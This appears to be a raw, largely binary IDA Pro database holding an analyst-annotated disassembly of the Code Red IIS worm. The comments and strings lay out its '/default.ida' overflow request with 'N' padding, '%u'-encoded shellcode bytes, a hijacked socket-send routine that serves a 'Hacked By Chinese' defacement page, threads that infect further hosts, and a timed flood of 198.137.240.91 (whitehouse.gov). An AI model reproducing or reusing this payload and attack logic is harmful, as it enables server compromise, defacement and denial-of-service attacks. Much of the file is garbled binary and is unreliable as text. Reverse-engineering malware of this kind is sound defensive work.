IDA0@$)@ B-tree v 1.5 (C) Pol 1990;+ + .}S .1x .}S_check if the byte is null. 0, 0 means end of the function names section. 0, 9 means next dll N$ fr3. rS .8SDD D D D D D E E c V N _ \ @? D Fp Ep F9 C Z6=J_  ] _| EM Ex E OO E9  D  D  D > D @ > A [6H/:J? DBC D2Fr@@ => DDCCC/C/@J@ ECC . S . BS this sets up the socaddr structy{fIY1k`>xmT,!}rL-i?!U9-cX/~SH%o>+ yR/#    xmJ"rgD@!zSSGset to 0 this zeros ouSGset to 0 this zeros SGset to 0 this zeros out the memory that holds the GetProcAddress Call.zS&move the byte at data segment to eaxXcSload edx with the data segmenttNFunctionAddressesAdjustLoopX S!increment the counter at ebp-ib4eN LoadDllLoopcxtXRYN GPLOADED2x TSelsexYRSif it is, goto gploaded2KSsee if getprocaddr is loadedESrestore exception chainXYe_lfanewx7S&if not PE header go to next iterationS5cx = *pNTHeader = pDosHeader + pDosHeader->e_lfanew;; looking for PE headerSedx = pDosHeader->e_lfanewx7Sjump if eax is not 'MZ'SAmove the low half of *edx into eax should be something like 5a4dS null out eaxX{N NOT_MSVCRTx{Sif it is not, then jump hereqSis it msvcrt?x<YS$go here after GetProcAddr Is loadedX7Sthis is null on the first loop through, due to a null set at init. The purpose of this loop point is to loop through DLL Names in the RVA table, looking for KERNEL32.dll, or more specificly, KERNRNImageBaseSearchLoopx MS(jump into ced, do stuff, then jump back:S2sub 7 from the data segment, putting you at: oD0B4Sload eax to the data address*Sset 110h to 0xffffffffX P7"GetFunctionAddressesFromCurrentDLLCreateNewThreadS% u NeL1?$NDO_RVAx Sset new exception frameSset ebp+118 to 0Sget previous exception frame SAset ebp -198h to address of the data segment set edi to ebp -110X S N DataSetupx Sfill in stack vars with 0xccSsave a few regsS!set up space for local variablesSswitch esp to ebpS 0NWORMNaGetDefault_ida .A instance ofis a-part ofNODE $ MAX LINK R/>[P k J &^. # .      U6  8 [s { \5l   ^ B %JU a C  <w N  ]J  ,   X6  !       `G 4 ]  `   }S  L n  By  1s _ b y * LjW K K55 /@     n I # lJ-   Q ^B 1h lLhXH'q.Jx XXXXXpx XKXX X 9X pX x PqGET_NEXT_PqPqGET_NEXT_UPnGET_NEXT_QUPYGEPMGET_NEXT_QUP8nGET_NEXT_HEADP!nGET_PnGET_NEXT_HEADERS X  X x X x X Sc.NTOO_MANY_THR .S setup a .X .SGetSystemDefaultLan . S)put default system languageid in ebp- ./Sif not englis ./x .1x.6N IS_AMERICANS7Scheck if day is l7Scheck if day is less than 207Scheck if day is less than 207Scheck if day is less than 20X 7Scheck if day isS)set 198.137.24S)set 198.137.240.91 (w SconnectSN InfiniteLoopDNWhieteHouseAttack NWHITEHOUSE_SOCKET_SEND_LOOPN InfiJSsleep for a 10 hoursSstore data pointerN InfiniteLoopDNWhieteHouseAttack NWHITEHOUSE_SOCKET_SEND_LOOP SconnectS)set 198.137.240.91 (www1.whitehouse.gov)SEcheck if day is less than 28, so attack whitehouse from 20 up to 271Ssave the UTC hourX 7Scheck if day is less than 20+Sget lower word(day, UTC).6N IS_AMERICANScheck for INVALID_HANDLE_VALUE X x x X xDX px X 99x rX x /XxxXxKKx X>>x XxN NOTWORM_NOxXxx XrxppxtX2xrXxtXxNTCPSOCKSEND_FIND_INCXxxXxXxXxrNWHITEHOUSE_SLEEP_LOOP/NWHITEHOUSE_SOCKET_SENDSif counter >= 18000h jumpNWHITEHOUSE_SOCKET_SETUPN INFECT_HOSTS"set seconds and milisecond to eaxN NOTWORM_YESrNTCPSOCKSEND_FIND_INC_JUMPtNRESET_MEM_PROTECTIONSRESET_MEM_PROTECTIONNTCPSOCKSEND_FINDScheck if counter is 3000h yetN GET_HTML_INCS Get the next byte to compare toNGET_HTML_INC_JUMPN FOUND_HTMLS load eax with the data segmentN GET_HTMLJx 1X/X'SCreate a socketS100 milisecondstSsleep for around 4.66 hoursS$push a LONG time(basically forever)ON HACK_PAGE=SSleep This Sleeps for 2 hours8Sthis is 2 hoursnS2replace the call to tcpsocksend with the originalhSset ecx to tcpsocksendbS)set eax to actual address of tcpsocksend\S&set eax to the base of the loaded dllFS)replace the call to TCPSOCKSEND to o.C98@Sset edx to o.C98:S&set ecx to the address of tcpsocksend4Sload base into ecx2Sjump here on a not match,S'check ebp-150 against eax(tcpsocksend)*S'store the value at the offset into eax$Sadd the offset from counterSset edx to the baseSgo here if it isSreset counter to 0Sstored write address for w3svcSfor 4000 hex bytesSmake page readwrteS/set ebp-1b8 to receive the old page protectionS*move the web data into the request returnSset ecx with the counterScompare shifted URL to HTMLSlook for HTML~Sstore data pointer in edx{S@the next addr after the one popped is replaced with closesocketuSload ecx with close socketoS0load eax with the address popped from the stackmS7store tcpsocksend at the address popped from the stackgSload edx with tcpsocksendaSload thecounter into ecx[Sstore base at ebp-134US;load eax with the current dll base address(probably w3svc)&S inc counterpSjump back to sendcSSend sends 1 byteUS addr of buf\Ssock descriptorSS send len 1QS no flagsS push lenS set port(80)Sstore sock descriptorSprSfamS int protocol/Ssocket-Sint af+S int type)S int protocolSSleepSsleep for 100 msSset the value to the new value Sadd 20da9 to it Sif it is not, go hereScheck if the last byteis 0e0Sif it is, go hereScheck if the byte is 7FSget the last byteSset edx to the new valSstore it againS add to itS multiply itS&load threadcount imul(o.5bd) into ecxSadd eax to edxSadd ecx(multiplier) to eaxSset eax to the threadcountSmultiply sec/mil by 1e1b9Sstore sec/milisec inedxSmultiply by 0cd59e3Smultiply by itselfS$load seconds and miliseconds to ecxySSleepBSSleepSsocketSSleepSSleepySload edx with day and hour UTCgS load ecx with day and hour, UTCZSGetSystemTimeSS)LPSYSTEMTIME lpSystemTime // system time%Sset ecx to day and hour UTCS load eax with day and hour, UTC SGetSystemTimeS)LPSYSTEMTIME lpSystemTime // system timeSSleep Sjump if Createfile failedS CreateFileAS LPCTSTR lpFileName // file nameSthis points eax to c:\notwormS>DWORD dwDesiredAccess // access mode this is for GENERIC_READS@DWORD dwShareMode // share mode this equates to FILE_SHARE_READS1LPSECURITY_ATTRIBUTES lpSecurityAttributes // SDSGDWORD dwCreationDisposition // how to create this is for OPEN_EXISTINGSLDWORD dwFlagsAndAttributes // file attributes this is FILE_ATTRIBUTE_NORMALS0HANDLE hTemplateFile // handle to template fileN DO_THE_WORKA2SVirtualProtectOSSleepSVirtualProtectX S e#  , ND 3;)I5V VY a%(2>(S jw / l C  - FW8i  ~9 s h ]YpQD4!xhQ>.? fZ B    Z<*jlNQzA2 !oY#_     oaN;n[ rfJ4       pWJ<*? ziT n d   { .XE6# |obUG3 F '9 var_10C10Indexx DLLImageBaser NOTWORM_NO finiteLoophieteHouseAttackD_LOOP var_134sRecvBuf TempValueqalcHeaderSizeLoop QuerySizeLoopO UrlSizeLoop pBuffera? ExtensionControlBlock ataOffsetvMultipliedThreadCounterA0nMultipliedThreadCounter FileHandle} tartThread\Id] hreadCounter_ NumberOfNameslpExtensionControlBlock` WriteCliente80ServerSupportFunction ReadClient WriteClientGetServerVariable szContentTypelpbData cbAvailable TotalBytes TranslatedPathInfo QueryStringMethodLogDatadwHttpStatusCode.ConnIDVersionSizeEXTENSION_CONTROL_BLOCKarg_20 LoadDllLoope ullSearchLoop DLLImageBasefunctionAddressesAdjustLooptFunctionsTableoFindGetProcAddressLoop2LoopD38ndexkindGetProcAddressb ataOffseta TempOffset[ExportDirectoryjImageBaseSearchLoop7mageBaseSearchLoopR DataOffsetN$ fr3.DataOffsettkargs propagatedGetProcAddress TopOfStacks. r7 ImageBasei. r6 closesocketurecv SecMilisecwndocksockaddr .sin_addrzero.S_un.S_addrwun_b.s_w12w_S_un432.s_b1_bin_addrfamilyportNewExceptionFrameT4U. rV CreateThreadZGetProcAddressWSystemDefaultLangIdX LoadLibraryAgSleepYC^ sockaddr_inpart ofs a ninstance of s2_32_dll W3svc_dll Virtualprotectc Tcpsocksend ocket leepF Send Recv oadlibrarya LmthHtmlHeadMe7 Infocomm_dlls Http1_0Content time systemdefauL Default_idaGet thread- reatefilea: onnect losesocket CNotworm,CONTINUE ORMTUP OCKET_SEND/ WHITEHOUSE_SLEEP_LOOPr o many lines1he decision made by IDA was wrong and rolled back OO_MANY_THREADS IGHT_LOOP _JUMPr_INCTCPSOCKSEND_FIND tructuresYearSecondonthnute MillisecondsHourOfWeek.wDay YSTEMTIMEOCK_CLOSE_LOOPv URL_TO_SEND QUERY_TO_SENDm TUP_HEADERS_TO_SEND URL QUERY| ND_HEADERS SELF_MODIFY1 oot NodeRESET_MEM_PROTECTIONt PADDING_BYTES _MSVCRTYES JUMP_TABLE1 ndirect execution flow S_AMERICAN6 NFECT_HOST viewsE IDA View-A8OOK_FAKE_TCPSOCKSEND _JUMP HACK_PAGEOPLOADED2Y_JUMP_INC_HTML SHIFT_NULLGETPROC_LOADED<-ailed to trace the value of the stack pointer UNC_LOAD_DONE OUND_HTMLFAKE_TCPSOCKSEND xecution flows beyond limits5ecision to convert to instruction/data is made by IDAataSetupTHE_WORKVA$ O_REWRITE DLL_CHECK_NULL_BRANCH references (hint: redo analisys)!offset base (hint: delete offset)name (hint: use manual arg)comment (hint: delete comment)Afind alternative string for an operand (hint: delete alt. string)n't disassembleODE6CHECK_NULL_BRANCH'ttention! Probably erroneous situation..Already data or code (hint: make 'unexplored') xref windows9 vmm functionsuser1 ructs& sarray) ourcefiles(ignature names$ sarray segs  sarrayregs patches original user7ullsubs#NnmSerEAlibfuncs%mportspflags id numbers sarray"uncs!num@A0z50tetonnectVirtualProtectyysTime~leep{ GetSystemTime CreateFileA|. rp5ozrcN8$GD b   y o e [ Q G< 2 (                  ~ t j_ U K A 7 - # sCqS  / pn\C1      !     ~ t j ` VI." aR H7%5AS-REthis is the worm body. this is the code that actually does the workA Opop the stack into the counter!R &AOODoLS-?? << ?@ >; > E>>Aj >[ ;YtBpUt Dp== ?? >>7DB@<2 'b B0=7?YC0?7@Y DRDcDA B AA >2HH  E_AAAAB>>>\ Z A H E D D^D$$+UA  sThis is a fake tcpsocksend that replaces the current one. it serves to deliver the hacked page when inititalizeddThis function: sets up edi dynamically rewrites a bit of worm code to point to the head of the codeN IDA View-A8ASwVT9kDsʢ[ۓ `t¦KlͳVjTη!WErQpYs'wAV(  sX2 wG"Q    b A    D SSG/ VV-  Sput default system languageid- ; create code for the thread ;, ; jmp [ebx+78] // ff 63 78! ; push ebx // 53- ; create other instructions:JS ;! ; push ebx // 53! ; pop ebx // 5bx6/Sif not english goSGetSystemDefaultLangIdXS setup a funcNTOO_MANY_THREADSxS CreateThreadDS'patch dword with ExtensionBlockAddress:S=patch byte with 68 that is instruction code for push [value]h ; ExtensionControlBlock.lpbData points to a buffer that has the data sent by the clientS/LPSECURITY_ATTRIBUTES lpThreadAttributes // SDS(DWORD dwStackSize // initial stack sizeS9LPTHREAD_START_ROUTINE lpStartAddress // thread function: ; from call ebx instruction at 0x7801cbd3N ; the same schema is used at the begin when worm get control \ ; hence ExtensionControlBlock.lpbData points to the first byte of worm codeA ; jmp [ebx+78] - ExtensionControlBlock.lpbData ; push ebx ; push ebx ; pop ebx- ; push ExtensionControlBlockS> ; StasrtTread contains following instruction:S&LPVOID lpParameter // thread argumentS)DWORD dwCreationFlags // creation optionS(LPDWORD lpThreadId // thread identifierS7put to ExtensionControlBlock.lpszLogData ThreadCounterSstore the new val at ebp-18cSset thread count into edxS%increment the number of open threadsxS)branch here if more than 100 are runningXqSThreadCounter < 100A@Scall WriteClientSExtensionControlBlock.ConnIDSset edx with ebp+8 pointer~SBuffer of 'GET'}SNumber of bytes to senduSdwSyncsSGet Ready to call a functionqxjS*Check if there are any data in log bufferaS"ExtensionControlBlock.lpszLogData^S+check pointer to the possible isapi structAS6load eax with ebp+8(possibly an isapi request struct)0SNumber of bytes to send$S*edx = EXTENSION_CONTROL_BLOCK.WriteClient!S4load ecx with an address of EXTENSION_CONTROL_BLOCKS@This moves us past the final NULL at the end of the Dll ListingXNFUNC_LOAD_DONE xeXSthis function moves past the null on the end of a line to set the function up for the next run through the getproc/load library systemNGETPROC_SHIFT_NULLxS else go herexSif it is null, go hereScheck for nullSload byte at eax into ecxXSxload eax with data segment. this checks the nullishness of the ebp-198 data pointer, and if isn't null, increments it.NCHECK_NULL_BRANCHXS"increment DataOffset to next charNNullSearchLoopxXNDLL_CHECK_NULL_BRANCHS#set just received function addressSCurrent function array indexS/S(nothing, probably early was error checkS\Scall GetProcAddressS(push module handle(base loaded address)S/push data segment(pointer of function to load)S&set ecx with the data segment pointerXA@xS<load current dll base pointer with return from LoadLibraryAS LoadLibraryASpush current data pointerSget past the 9S set eax to current data pointerxSif not, jump hereS"9 is delimiter between dlls areasx .Sif it is, go herem7 rv^J53$ u P .Wvybdni |[=K6 @4)     x[ dcEdY.)Fz$ }paK<&vj[O@- w m c YI<  zjYB3"|Q=. aD(S; DataOffset:XxS; DataOffset:-S pExtensionContr-S pExtensionControl-S pExtensionControlBloc-S pExtensionControlBlock->lpbDataSJpExtensionControlBlock->cbTotalBytes // Total bytes indicated from clientNCalcHeaderSizeLoopONCalcQuerySizeLoopS<pExtensionControlBlock->pszQueryString 'NNNNNNNNNNNN......'S5pExtensionControlBlock->lpszPathInfo '/default.ida'DS8pExtensionControlBlock->pszQueryString 'NNNNNNNNNN....'S4pExtensionControlBlock->lpszPathInfo '/default.ida'NCalcUrlSizeLoopSset to '?', 0Na?AS; DataOffset:XxX x xX x X x X x X zzx OX xxx |X MMx mX x X x X x X x vN SEND_HEADERSNSETUP_HEADERS_TO_SENDS,increment the memory pointer to the headers|N SEND_QUERYmNSETUP_QUERY_TO_SENDN SEND_URLNSETUP_URL_TO_SENDvNSOCK_CLOSE_LOOPXJXTXMN SELF_MODIFY1N JUMP_TABLE1NPADDING_BYTESNFAKE_TCPSOCKSENDNHOOK_FAKE_TCPSOCKSENDN TIGHT_LOOPSsend "?" query specifierSSend a "GET " . TSload ecx with the ip addressNHACK_PAGE_JUMPN DO_REWRITE N WORMCONTINUES!this sets up the hacked page bitSThis is a tight looppS'set counter to data received from recvcS.recv receive a response from the remote side\Spush sockdescPS set 100 lenNS no flags8S=send this sends the actual malicious code to the remote side#Spush request size!S no flagsS!set counter to data request sizeSget data request sizeSpush socket descriptorSpush addr of our headersSpush counted sizeSreset counter to 0Ssend send the headersSpush sock descriptorSpush addr pointing to headersSpush size of headers~S no flags^Sincrement the counterN$ segs sarray AV _S!6 N$ segsSfU;=Securewave, 1 user, std, 11/2000 N$ user1N $ idpflags AN$ vmm functionsN $ importsN $ fixupsN $ patchesN $ nmSerNAN $ nmSerEAN $ FileInfoVC:\work\worm\wormhit-1.datAIDA)metapcI  ( aa=#FP@@BG_cdecl=__cdecl;_pascal=__pascal;_huge=__huge;_near=__near;_far=__far;__inline=;_inline=;inline=;CM_WINNT;MPR50;_INTEGRAL_MAX_BITS=64;_MSC_VER=1200;_CHAR_UNSIGNED=1;_M_IX86=300;__MT__=1;__TLS__=1;_Windows=1;__WIN32__=1;_WIN32_WINNT=0x0500;WINVER=0x0500;_WIN32=1;OLEDBVER=0x0250;SECURITY_WIN32;WIN32_SUPPORT;DBNTWIN32;W32SUT_32;A4/Program Files/Microsoft Visual Studio/VC98/includeSN Root Node)SS;cC ANaLmthHtmlHeadMe7AN aCNotworm,ANaHttp1_0ContentANaGetAN aW3svc_dllAN aClosesocketANaRecvANaSendAN aConnectANaSocketAN aWs2_32_dllAN aTcpsocksendANaInfocomm_dllsANaVirtualprotectcANaGetsystemdefauLANaSleepFAN aCreatefilea:ANaCreatethread-ANaGetsystemtimeANaLoadlibraryaA x  SJthis is self modifiying code. the move value gets set to RVA LOOP(o 252)X S'dynamically rewrite jump addr at o.D02Sput an addr into ediS x xOX x X X S&       x Sebp-1a0 it seemsx$S closesocket Ssend7Sset counter to 0*Ssend#Spush sock descS push size 1S no flags SsendS push sizeS no flagsS else go hereSif it's null, then go hereSlook for nullSmove the byte to edxS inc counterS send a GETSpoints to socketSpoints to GETS+if the connect failed goto closesocketloopScheck if the connect succeededrSconnectqS SOCKET sjS const struct sockaddr FAR *namebS int namelen Ro\KA3%        sO<"=d 6  }    Q  u tU* ~ 8    %~iV=L .E4  cO:VA#/D~5mYj[P |mAb/h  hXHr X2h <    ] ,      * yk]S)~lZH6$9AUM]f k [ _ j i n a e W   g Z Y X \(   V` ^ l   D N$ fr4.var_10CN$ fr4.var_110xN $ fr5.IndexrN$ fr5.DLLImageBase9N$ xref windowsS qN$ fr5.TempValueN$ fr5.pBuffer 6 ; F 0>0  O 2 2PD@ @p 59 5 17 788/2/2J< * *JN 3J 0 // /- .///>ILFARAAAA!A7@=6 666  0=611>4 2 222> 9 N$ fr5.pExtensionControlBlockvN$ fr5.DataOffsetN$ fr5.MultipliedThreadCounterN$ fr4.MultipliedThreadCounterS }N$ fr5.FileHandle\N$ fr4.StartThread]N$ fr4.ThreadId_N$ fr4.ThreadCounterM    P            `N$ fr4.pExtensionControlBlockeN$ fr4.WriteClientN $ fr4.arg_80N.EXTENSION_CONTROL_BLOCK.ServerSupportFunctionN#EXTENSION_CONTROL_BLOCK.ReadClientN$EXTENSION_CONTROL_BLOCK.WriteClientN*EXTENSION_CONTROL_BLOCK.GetServerVariableN(EXTENSION_CONTROL_BLOCK.lpszContentTypeN EXTENSION_CONTROL_BLOCK.lpbDataN$EXTENSION_CONTROL_BLOCK.cbAvailableN%EXTENSION_CONTROL_BLOCK.cbTotalBytesN+EXTENSION_CONTROL_BLOCK.lpszPathTranslatedN%EXTENSION_CONTROL_BLOCK.lpszPathInfoN(EXTENSION_CONTROL_BLOCK.lpszQueryStringN#EXTENSION_CONTROL_BLOCK.lpszMethodN$EXTENSION_CONTROL_BLOCK.lpszLogDataS N)EXTENSION_CONTROL_BLOCK.dwHttpStatusCodeNEXTENSION_CONTROL_BLOCK.ConnIDN"EXTENSION_CONTROL_BLOCK.dwVersionNEXTENSION_CONTROL_BLOCK.cbSizeNEXTENSION_CONTROL_BLOCKN $ fr4.arg_20lN$ fr4.NumberOfNamesfN$ fr4.DLLImageBaseN$ fr4.FunctionsTablekN $ fr4.Index[N$ fr4.TempOffsetjN$ fr4.ExportDirectoryN $ fr4.arg_38N$ fr6.DataOffsetaN$ fr4.DataOffsetN$ fr3.DataOffsetN$ stkargs propagatedN$ fr7.GetProcAddressN$ fr7.TopOfStackM N $ fr7. sN $ fr7. rN$ fr7iN$ fr4.ImageBaseRM TSM N $ fr6. rN$ fr6uN$ fr5.closesocketN $ fr5.recvoM} r ~`xq w z   v   ` | { y t     u s ,p wN$ fr5.SecMilisecN $ fr5.SendN$ fr5.RecvBufN $ fr5.SockN$ fr5.sockaddrDdANsockaddr_in.sin_zeroM#``S Nsockaddr_in.sin_addrDdAN in_addr.S_unM `DdAN _S_un.S_addrM`` N _S_un.S_un_wDdADdAN _S_un.S_un_bMMN _S_un_w.s_w2N _S_un_w.s_w1N_S_un_wN_S_unN _S_un_b.s_b4N _S_un_b.s_b3N _S_un_b.s_b2N _S_un_b.s_b1N_S_un_bNin_addrNsockaddr_in.sin_portNsockaddr_in.sin_familyN sockaddr_in3Rvar_CDarg_4C. rBr1Axups sarray fileregionsums' entry pointsauto type callees+MARKSFileInfo ready:N$ Auto*N$ fr5.connectN $ fr5.socketNSYSTEMTIME.wMillisecondsNSYSTEMTIME.wSecondNSYSTEMTIME.wMinuteNSYSTEMTIME.wHourNSYSTEMTIME.wDayNSYSTEMTIME.wDayOfWeekNSYSTEMTIME.wMonthNSYSTEMTIME.wYearN SYSTEMTIMEMJD~N $ id numbers Hstructs SN StructuresN$ fr5.GetSystemTimedN$ fr5.SysTime~A|N$ fr5.CreateFileA{N $ fr5.SleepzN$ fr5.var_1A0yN$ fr5.VirtualProtecttN$ fr5.var_150sN$ fr5.var_134pN $ fr5. rN$ fr5nN$ fr4.var_1A0gN$ fr4.LoadLibraryA^N $ fr4.arg_CZN$ fr4.CreateThreadYN $ fr4.SleepXN$ fr4.GetSystemDefaultLangIdWN$ fr4.GetProcAddressVN $ fr4. rN$ fr4TN$ fr3.NewExceptionFrameSN $ fr3. rN$ fr3TPSMSVEN IDA viewsDN $ fr1.var_CCN $ fr1.arg_4BN $ fr1. rN$ fr1AMD BC N$ frnum@A:N $ Auto ready .8SYEC C9 B BB <>D DM Gx Kz K K K I ' D  @ A E *C* BB B> BBN0K7CYARAc BI IIKFFARAAAA!A7@=6 666  0=611>4 2 222> 9 `Va4 GEPET@ 0/ dPefpault.ida?`NN@N0N NPNNpNNNNNNNNN`NN@N0N NPNNpNNNNNNNNN`NN@N0N NPNNpNNNNNNNNN`NN@N0N NPNNpNNNNNNNNN`NN@N0N NPNNpNNNNNNNNN`NN@N0N NPNNpNNNNNNNNN`NN@N0N NPNNpNNNNNNNNN`NN@N0N NPNNpNNNNNNNNN`N N@N0 N NP NNp NN NN NN NN N`N N@N0 N NP NNp NN NN NN NN N`N N@N0 N NP NNp NN NN NN NN N`N N@N0 N NP NNp NN NN NN NN N`N N@N0 N NP NNp NN NN NN NN N`NN@N0N NPNNpNNNNNNNNN`%u@900 9P0%pu 68 58 %u cb` d3@ %0u 7P8 0p1 %u 90 90 %u` 68@ 508 %Pu cpb d3 %u 78 01` %u@ 900 9P0 %pu 68 58 %u cb` d3@ %0u 7P8 0p1 %u 90 90 %u` 90@ 900 %Pu 8p190%u00c3`%u@000 0P3%pu8b00%u53`1b@%0u 5P3fpf%u0078%u`00@000 %Pu0p0=a  HTTP`/1@.00  P Cpontent-ty`pe@:0  tPexpt/xml HOS`T:@w0w wP.wporm.com  `Ac@c0e pPt:p */* Cont`en@t0- lPenpgth: 3569`  @ 0  PUGAP 0@SVWK@0 P@00@@  @@@p0`P@p   00WPPh 0@KP 0@dP 0@@G  d=P00Po@   @WP`@0 P@0`P@p Kh@0 P@@P 0@@X p@P`0w@   @_@pP00PP 0@KPX 0@@P 0@@PX 0@@X p@P`0xu @X p@P`0WKPX 0@3f@  =CMZ00P 0@KPX 0@/@Q < KX@0 P3f@  0CP@E0 Py@0 PKX@0 P@B<KPX 0@@T0 xKPX 0@@PT 0@KPT 0@@H  KX@0 P@L@0 PKL@0 PC:K@E0R NP3@0 PKL@0 PCxPE0L03P2P  0@KPX 0@@P4 0@KPT 0@KPX 0@@B  @L@0 P@H0`P@p _KH@0 P@@PH 0@KPL 0@@  @L@0 P_KT@0 PKH@0 P;@HP 0@KPL 0@@KPX 0@C<` G@e@t P`@0 PKL@0 P@KX@0 PC|`0r@oPc Ap@0 PKH@0 PKH@0 PKX@0 PKT@0 P@H$3f@0 @PL 0@KPT 0@@Q  KL@0 P@L 0@L@0 PKL@0 PKL@0 PKL@0 PKL@0 PKX@0 PKT@0 P@H@  @L@0 PKL@0 PKX@0 P@p@0 PW 00W@  @WK@0 P@GdP 0@@`p @@ `u800W@L p@P`0_KPL 0@@  @L@0 P_Kh@0 P@P 0@KPh 0@@  @ u!KPh 0@@  P@P 0@;CKCK@4@0 P*WKh@0 PQKP4 0@R@p@0 P;CKCKKPL 0@@` @@ `W_Kh@0 P@@Ph 0@_KPh 0@@  t_Kh@0 P@@Ph 0@S@  @WKh@0 P@@Ph 0@KM  @@0 P@l@0 P@L0`P@p /@P00PhKE  @@0 P'@0`P[@SpS @0`Pc@xp KM@Q  @P@0 P@PP00Pu&j@KPL 0@PKh@0 PQKU  @BP@l@0 P;CKCK_@`P @@ d`}\KP@0 P@@PP 0@KPP 0@i@P f0@P@Pt 0@KE  KP@0 P@HKP, 0@Rj@KL@0 PP'KP 0@Qj@j@@@0 P;CKCK@  @_@@0 P;CKCK@PL 0@KPL 0@AP 0@@PL 0@@L p@P `0tg@  @Wh@0m0@P 0@;CKCK00WPPL 0@KP4 0@@P 0@KPL 0@KP 0@@KPL 0@KP 0@@H  Kh@0 P@P@0 P_KP@0 P@@PP 0@WKPh 0@@P 0@9@PP 0@sKPP 0@C:PL M0T@HuW_KPP 0@@  KL@0 P@AKPH 0@Rj@h@@00KP 0@P@@0 P;CKCK@L p@P`0WKPL 0@@  @L@0 P_@L0`P@0p }VK@0 PKL@0 P@;K@0 Pu>K@0 PKL@0 PK`@0 P@h@Q0%0@P 0@;CKCKK@0 PKL@0 PK@0 P@W_KL@0 PRKPH 0@Ph@@00KP 0@Q@@0 P;CKCKW@@  @@0 Pj@h@00j@j@j@h@@  @Kh@0 P@cP@@0 P;CKCK@P0 0@@`0 @@ `tW@00th@@  @@@0 P;CKCKWKP8 0@R@@0 P;CKCKKP> 0@@PL 0@KPL 0@AP 0@@PL 0@@`L @@ `G@0 PW@00P: 0@KP8 0@P@@0 P;CKCKKP> 0@@PL 0@KPL 0@AP 0@@PL 0@@`L @@ `|W@00th@@  @@@0 P;CKCKWj@d@P 0@;CKCKj@j@j@@@0 P;CKCK@Px 0@f@ |`@@` f@p~0PP0pP@ p@P`0[j@KP| 0@QKx@0 PR@P 0@;CKCK@L0`P@p WKL@0 P@@PL 0@_@L p@P`0}7h@@  @@@0 P;CKCKj@j@KP 0@QKx@0 PR@P 0@;CKCKWh@00@P 0@;CKCK00_KPD 0@@PP 0@KPP 0@K` P@@ `i@@Y0 PKP@0 Pi@@0 PKt@0 P@P@0 PKt@0 Pi@@30 P@S@0k P@t@0 PKt@0 PA@0 P@P@0 P@PP00Pt @P p@P`0uKPt 0@@@   @@t@0 Pj@d@@0 P;CKCKj@j@j@@P 0@;CKCK@x@0 Pf@p|0PP0pf@ ~`@@` PKt@0 P@@0 Pj@K|@0 PRKPx 0@P@@0 P;CKCKP 0@j@j@KPh 0@QKx@0 PR@P 0@;CKCK@L0`P@p KE@H h @d@0 PWKd@0 P@@Pd 0@KPL 0@@  @L@0 PWKd@0 P@tWj@KPL 0@PKM@Q h RKPx 0@P@@0 P;CKCKj@j@KPh 0@@  QKPx 0@R@@0 P;CKCK@L p@P`0KE  @Hd@Pd 0@_KPd 0@@  @d@0 PKL@0 P@@PL 0@WKPd 0@@  tWj@KL@0 PPKM  @QdRKx@0 PP@P 0@;CKCK@L0`P@p Kh@0 P@@Pd 0@WKPd 0@@  @d@0 PKL@0 P@@PL 0@WKPd 0@@  tWj@KL@0 PPKPh 0@@  QKPx 0@R@@0 P;CKCKKE  @Hp@PL 0@j@KPL 0@RKE@H x QKPx 0@R@@0 P;CKCK@` @@ `j@h@00KP 0@PKx@0 PQ@P 0@;CKCK@L@0 PWKx@0 PR@P 0@;CKCK 00_W@  @0XW@  UWSVPj@<@  Vh@@  @@p@t0$ (@XP@t0$ @P  X^[_]@ W00_{@  @"An2uZV4xV4xV4XWPKPh 0@@G  W@D0$ @@  @@@0 P3W@  @LPoad0LiPbprpaPry0AGPet Sy@st`epmTPim0eCPre at@eT`h`re@ad CPrea0tePF`ipl@eA SPle@e0p PGPetPS0y0sPtepmDefaultLpanPg0I0DPVPir tu@al`Pro`te@ct  iPnf oc@om`m`.d@ll TPcpS0ocPk`Spe@nd  WPS2 _3@2`.`d@ll sPocPk0e0tPcPopn nPe@c0t`sPe@n d @rPec0v0cPlo se@spo`cPke0t wP3sv0c`.Pd@lpl GPE@T  @?P P HT0TPP/`1p.@0   Content-0tyPp`ep:@ t ext/xml H0OSPT`:pw@ww .worm.com0  PA`cpc@ep t: */* Co0ntPe`npt@-l ength: 35069P ` p @   cP:\n0optPwPopr0mLPMT H @ <`htmpl>P<h0ead>< me@ta` htptpP-e0quiv= "C@on`tenpt-PTy0pe" c on@te`nt=p"tPex0t/htm l;@ c`harpsePt=0engli sh@">`<tiptlPe>0HELLO !<@/t`itlpe>P</0head> <b@ad`y><phrP s0ize=5 ><@fo`nt pcoPlo0r=" re d"@ ><` p  apl iPg n0= "c en te@ r"` >W epl cPo m0e t o  h t@ t p` : / /p w wP w .0 w o r m . c o@ m ` ! < bp r >P < b0 r > H a c k e@ d ` B y p C hP i n0 e s e! < / f@o n`t ><p /hP r>0 </ ba d y >@< /`h tmp l>P  0        @  `   p  P  0        @  `   p  P  0        @  `   p  P  0        @  `   p  P  0        @  `   p  P  0        @  `   p  P  0        @  `   p  P  0        @  `   p  P  0        @  `   p  P  0  @Va4P $RDb27<Yet6OrtD / r O m | v   - : F L c s ,7@IDATILLocal type definitions